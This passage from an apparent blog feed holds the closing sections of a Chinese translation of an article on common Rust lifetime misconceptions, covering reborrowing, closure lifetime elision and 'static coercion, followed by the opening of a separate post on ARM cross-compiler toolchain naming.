&lt;p&gt;尽管你可以在函数和方法的声明里避免重借用，但是由于 Rust 会自动做隐式重借用，所以很容易无意识地遇到这种情况。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use std::collections::HashMap;

type PlayerID = i32;

#[derive(Debug, Default)]
struct Player {
    score: i32,
}

fn start_game(player_a: PlayerID, player_b: PlayerID, server: &amp;amp;mut HashMap&amp;lt;PlayerID, Player&amp;gt;) {
    &amp;#x2F;&amp;#x2F; 从 server 中得到 player, 如果不存在就创建一个默认的 player 并得到这个新创建的。
    let player_a: &amp;amp;Player = server.entry(player_a).or_default();
    let player_b: &amp;amp;Player = server.entry(player_b).or_default();

    &amp;#x2F;&amp;#x2F; 对得到的 player 做一些操作
    dbg!(player_a, player_b); &amp;#x2F;&amp;#x2F; 编译错误
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面这段代码会编译失败。这里 &lt;code&gt;or_default()&lt;&#x2F;code&gt; 会返回一个 &lt;code&gt;&amp;amp;mut Player&lt;&#x2F;code&gt;，但是由于我们添加了一个显式的类型标注，它会被隐式重借用成 &lt;code&gt;&amp;amp;Player&lt;&#x2F;code&gt;。而为了达成我们真正的目的，我们不得不这样做：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use std::collections::HashMap;

type PlayerID = i32;

#[derive(Debug, Default)]
struct Player {
    score: i32,
}

fn start_game(player_a: PlayerID, player_b: PlayerID, server: &amp;amp;mut HashMap&amp;lt;PlayerID, Player&amp;gt;) {
    &amp;#x2F;&amp;#x2F; 因为编译器不允许这两个返回值共存，所有这里直接丢弃这两个 &amp;amp;mut Player
    server.entry(player_a).or_default();
    server.entry(player_b).or_default();

    &amp;#x2F;&amp;#x2F; 再次获取 player, 这次我们直接拿到共享引用，避免隐式的重借用
    let player_a = server.get(&amp;amp;player_a);
    let player_b = server.get(&amp;amp;player_b);

    &amp;#x2F;&amp;#x2F; 对得到的 player 做一些操作
    dbg!(player_a, player_b); &amp;#x2F;&amp;#x2F; 现在能编译通过了
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;难用，而且很蠢，但这是我们为了内存安全这一信条所做出的牺牲。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;关键点回顾&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;尽量避免重借用一个独占引用为共享引用，不然你会遇到很多麻烦&lt;&#x2F;li&gt;
&lt;li&gt;重借用一个独占引用并不会结束其生命周期，哪怕它自身已经被 drop 掉了&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;10-dui-bi-bao-de-sheng-ming-zhou-qi-sheng-lue-gui-ze-he-han-shu-yi-yang&quot;&gt;10) 对闭包的生命周期省略规则和函数一样&lt;&#x2F;h3&gt;
&lt;p&gt;这更像是 Rust 的陷阱而非误解&lt;&#x2F;p&gt;
&lt;p&gt;尽管闭包可以被当作是一个函数，但是并不遵循和函数同样的生命周期省略规则。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn function(x: &amp;amp;i32) -&amp;gt; &amp;amp;i32 {
    x
}

fn main() {
    let closure = |x: &amp;amp;i32| x;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;报错：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;error: lifetime may not live long enough
 --&amp;gt; src&amp;#x2F;main.rs:6:29
  |
6 |     let closure = |x: &amp;amp;i32| x;
  |                       -   - ^ returning this value requires that `&amp;#x27;1` must outlive `&amp;#x27;2`
  |                       |   |
  |                       |   return type of closure is &amp;amp;&amp;#x27;2 i32
  |                       let&amp;#x27;s call the lifetime of this reference `&amp;#x27;1`
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;去掉语法糖后，我们得到的是：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; 输入的生命周期应用到了输出上
fn function&amp;lt;&amp;#x27;a&amp;gt;(x: &amp;amp;&amp;#x27;a i32) -&amp;gt; &amp;amp;&amp;#x27;a i32 {
    x
}

fn main() {
    &amp;#x2F;&amp;#x2F; 输入和输出有它们自己各自的生命周期
    let closure = for&amp;lt;&amp;#x27;a, &amp;#x27;b&amp;gt; |x: &amp;amp;&amp;#x27;a i32| -&amp;gt; &amp;amp;&amp;#x27;b i32 { x };
    &amp;#x2F;&amp;#x2F; 注意：上一行并不是合法的语句，但是我们需要它来描述我们目的
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;出现这种差异并没有什么好处。只是在闭包最初的实现中，使用的类型推断语义与函数不同，而现在将二者做一个统一将是一个 breaking change, 因此现在已经没法改了。那么我们怎么显式地标注一个闭包的类型呢？我们有以下几种方案：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn main() {
    &amp;#x2F;&amp;#x2F; 转换成 trait 对象，但这样是不定长的，所以会编译错误
    let identity: dyn Fn(&amp;amp;i32) -&amp;gt; &amp;amp;i32 = |x: &amp;amp;i32| x;

    &amp;#x2F;&amp;#x2F; 可以分配到堆上作为替代方案，但是在这里堆分配感觉有点蠢
    let identity: Box&amp;lt;dyn Fn(&amp;amp;i32) -&amp;gt; &amp;amp;i32&amp;gt; = Box::new(|x: &amp;amp;i32| x);

    &amp;#x2F;&amp;#x2F; 可以不用堆分配而直接创建一个 &amp;#x27;static 引用
    let identity: &amp;amp;dyn Fn(&amp;amp;i32) -&amp;gt; &amp;amp;i32 = &amp;amp;|x: &amp;amp;i32| x;

    &amp;#x2F;&amp;#x2F; 上一行去掉语法糖 :)
    let identity: &amp;amp;&amp;#x27;static (dyn for&amp;lt;&amp;#x27;a&amp;gt; Fn(&amp;amp;&amp;#x27;a i32) -&amp;gt; &amp;amp;&amp;#x27;a i32 + &amp;#x27;static) = &amp;amp;|x: &amp;amp;i32| -&amp;gt; &amp;amp;i32 { x };

    &amp;#x2F;&amp;#x2F; 这看起来很完美，但可惜不符合语法
    let identity: impl Fn(&amp;amp;i32) -&amp;gt; &amp;amp;i32 = |x: &amp;amp;i32| x;

    &amp;#x2F;&amp;#x2F; 这个也行，但也不符合语法
    let identity = for&amp;lt;&amp;#x27;a&amp;gt; |x: &amp;amp;&amp;#x27;a i32| -&amp;gt; &amp;amp;&amp;#x27;a i32 { x };

    &amp;#x2F;&amp;#x2F; 但是 &amp;quot;impl trait&amp;quot; 可以作为函数的返回值类型
    fn return_identity() -&amp;gt; impl Fn(&amp;amp;i32) -&amp;gt; &amp;amp;i32 {
        |x| x
    }
    let identity = return_identity();

    &amp;#x2F;&amp;#x2F; 上一个解决方案的泛化版本
    fn annotate&amp;lt;T, F&amp;gt;(f: F) -&amp;gt; F where F: Fn(&amp;amp;T) -&amp;gt; &amp;amp;T {
        f
    }
    let identity = annotate(|x: &amp;amp;i32| x);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我想你应该注意到了，在上面的例子中，如果对闭包应用 trait 约束，闭包会和函数遵循同样的生命周期省略规则。&lt;&#x2F;p&gt;
&lt;p&gt;这里没有什么现实的教训或见解，只是说明一下闭包是这样的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;关键点回顾&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;每个语言都有其陷阱 🤷&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;11-static-yin-yong-zong-neng-bei-qiang-zhi-zhuan-huan-wei-a-yin-yong&quot;&gt;11) &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; 引用总能被强制转换为 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 引用&lt;&#x2F;h3&gt;
&lt;p&gt;我之前有过这样的代码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn get_str&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; &amp;amp;&amp;#x27;a str; &amp;#x2F;&amp;#x2F; 泛型版本
fn get_str() -&amp;gt; &amp;amp;&amp;#x27;static str; &amp;#x2F;&amp;#x2F; &amp;#x27;static 版本
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一些读者联系我，问这两者之间是否有实际的差异。我一开始并不确定，但一番研究过后遗憾地发现，是的，这二者确实有差异。&lt;&#x2F;p&gt;
&lt;p&gt;通常在使用值时，我们能用 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; 引用直接代替一个 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 引用，因为 Rust 会自动把 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; 引用强制转换为 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 引用。直觉上这很合理，因为在一个对生命周期要求比较短的地方用一个生命周期比较长的引用绝不会导致任何内存安全问题。下面的这段代码通过编译，和预期一致：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use rand;

fn generic_str_fn&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; &amp;amp;&amp;#x27;a str {
    &amp;quot;str&amp;quot;
}

fn static_str_fn() -&amp;gt; &amp;amp;&amp;#x27;static str {
    &amp;quot;str&amp;quot;
}

fn a_or_b&amp;lt;T&amp;gt;(a: T, b: T) -&amp;gt; T {
    if rand::random() {
        a
    } else {
        b
    }
}

fn main() {
    let some_string = &amp;quot;string&amp;quot;.to_owned();
    let some_str = &amp;amp;some_string[..];
    let str_ref = a_or_b(some_str, generic_str_fn()); &amp;#x2F;&amp;#x2F; 编译通过
    let str_ref = a_or_b(some_str, static_str_fn()); &amp;#x2F;&amp;#x2F; 编译通过
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然而当引用作为函数类型签名的一部分时，强制类型转换并不生效。所以下面这段代码不能通过编译：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use rand;

fn generic_str_fn&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; &amp;amp;&amp;#x27;a str {
    &amp;quot;str&amp;quot;
}

fn static_str_fn() -&amp;gt; &amp;amp;&amp;#x27;static str {
    &amp;quot;str&amp;quot;
}

fn a_or_b_fn&amp;lt;T, F&amp;gt;(a: T, b_fn: F) -&amp;gt; T
    where F: Fn() -&amp;gt; T
{
    if rand::random() {
        a
    } else {
        b_fn()
    }
}

fn main() {
    let some_string = &amp;quot;string&amp;quot;.to_owned();
    let some_str = &amp;amp;some_string[..];
    let str_ref = a_or_b_fn(some_str, generic_str_fn); &amp;#x2F;&amp;#x2F; 编译通过
    let str_ref = a_or_b_fn(some_str, static_str_fn); &amp;#x2F;&amp;#x2F; 编译错误
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;报错如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;error[E0597]: `some_string` does not live long enough
  --&amp;gt; src&amp;#x2F;main.rs:23:21
   |
23 |     let some_str = &amp;amp;some_string[..];
   |                     ^^^^^^^^^^^ borrowed value does not live long enough
...
25 |     let str_ref = a_or_b_fn(some_str, static_str_fn);
   |                   ---------------------------------- argument requires that `some_string` is borrowed for `&amp;#x27;static`
26 | }
   | - `some_string` dropped here while still borrowed
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;很难说这是不是 Rust 的一个陷阱，把 &lt;code&gt;for&amp;lt;T&amp;gt; Fn() -&amp;gt; &amp;amp;&#x27;static T&lt;&#x2F;code&gt; 强制转换成 &lt;code&gt;for&amp;lt;&#x27;a, T&amp;gt; Fn() -&amp;gt; &amp;amp;&#x27;a T&lt;&#x2F;code&gt; 并不是一个像把 &lt;code&gt;&amp;amp;&#x27;static str&lt;&#x2F;code&gt; 强制转换为 &lt;code&gt;&amp;amp;&#x27;a str&lt;&#x2F;code&gt; 这样简单直白的情况。前者是类型之间的转换，后者是值之间的转换。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;关键点回顾&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;for &amp;lt;&#x27;a，T&amp;gt; fn（）-&amp;gt;＆&#x27;a T&lt;&#x2F;code&gt; 签名的函数比 &lt;code&gt;for fn（）-&amp;gt;＆&#x27;static T&lt;&#x2F;code&gt; 签名的函数要更灵活，并且泛用于更多场景&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;T&lt;&#x2F;code&gt; 是 &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; 和 &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt; 的超集&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; 和 &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt; 是不相交的集合&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;T: &#x27;static&lt;&#x2F;code&gt; 应当视为  *“**&lt;code&gt;T&lt;&#x2F;code&gt;*&lt;em&gt;满足&lt;&#x2F;em&gt; *&lt;code&gt;&#x27;static&lt;&#x2F;code&gt;*&lt;em&gt;生命周期约束”&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若 &lt;code&gt;T: &#x27;static&lt;&#x2F;code&gt; 则 &lt;code&gt;T&lt;&#x2F;code&gt; 可以是一个有 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; 生命周期的引用类型 &lt;em&gt;或&lt;&#x2F;em&gt; 是一个所有权类型&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;因为 &lt;code&gt;T: &#x27;static&lt;&#x2F;code&gt; 包括了所有权类型，所以 &lt;code&gt;T&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可以在运行时动态分配&lt;&#x2F;li&gt;
&lt;li&gt;不需要在整个程序运行期间都有效&lt;&#x2F;li&gt;
&lt;li&gt;可以安全，自由地修改&lt;&#x2F;li&gt;
&lt;li&gt;可以在运行时被动态的 drop&lt;&#x2F;li&gt;
&lt;li&gt;可以有不同长度的生命周期&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt; 比 &lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt; 更泛化，更灵活&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt; 接受所有权类型，内部含有引用的所有权类型，和引用&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt; 只接受引用&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若 &lt;code&gt;T: &#x27;static&lt;&#x2F;code&gt; 则 &lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt; 因为对于所有 &lt;code&gt;&#x27;a&lt;&#x2F;code&gt; 都有 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt; &amp;gt;= &lt;code&gt;&#x27;a&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;几乎所有的 Rust 代码都是泛型代码，并且到处都带有被省略掉的泛型生命周期注解e&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Rust 生命周期省略规则并不保证在任何情况下都正确&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;在程序的语义方面，Rust 并不比你懂&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;可以试试给你的生命周期注解起一个有意义的名字&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;试着记住你在哪里添加了显式生命周期注解，以及为什么要&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;所有 trait 对象都含有自动推导的生命周期&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Rust 编译错误的提示信息所提出的修复方案并不一定能满足你对程序的需求&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;生命周期在编译时被静态确定&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;生命周期在运行时不能被改变&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Rust 借用检查器假设所有代码路径都能被执行，所以总是选择尽可能短的生命周期赋给变量&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;尽量避免重借用一个独占引用为共享引用，不然你会遇到很多麻烦&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;重借用一个独占引用并不会结束其生命周期，哪怕它自身已经被 drop 掉了&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;每个语言都有其陷阱 🤷&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;for &amp;lt;&#x27;a，T&amp;gt; fn（）-&amp;gt;＆&#x27;a T&lt;&#x2F;code&gt; 签名的函数比 &lt;code&gt;for fn（）-&amp;gt;＆&#x27;static T&lt;&#x2F;code&gt; 签名的函数要更灵活，并且泛用于更多场&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;tao-lun&quot;&gt;讨论&lt;&#x2F;h2&gt;
&lt;p&gt;可以在这些地方进行讨论&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;learnrust&#x2F;comments&#x2F;gmrcrq&#x2F;common_rust_lifetime_misconceptions&#x2F;&quot;&gt;learnrust subreddit&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;users.rust-lang.org&#x2F;t&#x2F;blog-post-common-rust-lifetime-misconceptions&#x2F;42950&quot;&gt;official Rust users forum&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;pretzelhammer&#x2F;status&#x2F;1263505856903163910&quot;&gt;Twitter&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;rust&#x2F;comments&#x2F;golrsx&#x2F;common_rust_lifetime_misconceptions&#x2F;&quot;&gt;rust subreddit&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=23279731&quot;&gt;Hackernews&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;discussions&quot;&gt;Github&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;tuo-zhan-yue-du&quot;&gt;拓展阅读&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;sizedness-in-rust.md&quot;&gt;Sizedness in Rust&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;learning-rust-in-2020.md&quot;&gt;Learning Rust in 2020&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;too-many-brainfuck-compilers.md&quot;&gt;Learn Assembly with Entirely Too Many Brainfuck Compilers&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;yi-zhe-zhu&quot;&gt;译者注&lt;&#x2F;h2&gt;
&lt;p&gt;本文参考了&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;whfuyn&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;Rust%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E7%9A%84%E5%B8%B8%E8%A7%81%E8%AF%AF%E8%A7%A3.md&quot;&gt;whfuyn 的译文&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rustwiki.org&#x2F;zh-CN&#x2F;rust-wiki&#x2F;translate&#x2F;english-chinese-glossary-of-rust.html&quot;&gt;Rust 语言术语中英文对照表&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;kaisery.github.io&#x2F;trpl-zh-cn&#x2F;&quot;&gt;The book 中文版&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;文中部分语句采用意译，部分单词不译。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>arm交叉编译器gnueabi、none-eabi、arm-eabi、gnueabihf、gnueabi区别</title>
        <published>2024-09-20T00:00:00+00:00</published>
        <updated>2024-09-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/arm交叉编译器gnueabi、none-eabi、arm-eabi、gnueabihf、gnueabi区别/"/>
        <id>https://vercel.juzhong.asia/obsidian/arm交叉编译器gnueabi、none-eabi、arm-eabi、gnueabihf、gnueabi区别/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/arm交叉编译器gnueabi、none-eabi、arm-eabi、gnueabihf、gnueabi区别/">&lt;h1 id=&quot;armjiao-cha-bian-yi-qi-gnueabi-none-eabi-arm-eabi-gnueabihf-gnueabiqu-bie&quot;&gt;arm交叉编译器gnueabi、none-eabi、arm-eabi、gnueabihf、gnueabi区别&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;guojun-junguo&#x2F;p&#x2F;10477455.html#_label0&quot;&gt;一、命名规则&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;guojun-junguo&#x2F;p&#x2F;10477455.html#_label1&quot;&gt;二、实例&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;guojun-junguo&#x2F;p&#x2F;10477455.html#_label1_0&quot;&gt;1、arm-none-eabi-gcc&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;guojun-junguo&#x2F;p&#x2F;10477455.html#_label1_1&quot;&gt;2、arm-none-linux-gnueabi-gcc&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;guojun-junguo&#x2F;p&#x2F;10477455.html#_label1_2&quot;&gt;3、arm-eabi-gcc&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;guojun-junguo&#x2F;p&#x2F;10477455.html#_label1_3&quot;&gt;4、armcc&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;guojun-junguo&#x2F;p&#x2F;10477455.html#_label1_4&quot;&gt;5、arm-none-uclinuxeabi-gcc 和 arm-none-symbianelf-gcc&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;guojun-junguo&#x2F;p&#x2F;10477455.html#_label2&quot;&gt;三、Codesourcery&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;guojun-junguo&#x2F;p&#x2F;10477455.html#_label3&quot;&gt;四、ABI 和 EABI&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;guojun-junguo&#x2F;p&#x2F;10477455.html#_label4&quot;&gt;五、arm-linux-gnueabi-gcc 和 arm-linux-gnueabihf-gcc&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;guojun-junguo&#x2F;p&#x2F;10477455.html#_label5&quot;&gt;六、参考资料&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;yi-ming-ming-gui-ze&quot;&gt;一、命名规则&lt;&#x2F;h2&gt;
&lt;p&gt;交叉编译工具链的命名规则为：arch [-vendor] [-os] [-(gnu)eabi]&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;arch - 体系架构，如ARM，MIPS&lt;&#x2F;li&gt;
&lt;li&gt;vendor - 工具链提供商&lt;&#x2F;li&gt;
&lt;li&gt;os - 目标操作系统&lt;&#x2F;li&gt;
&lt;li&gt;eabi - 嵌入式应用二进制接口（Embedded Application Binary Interface）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
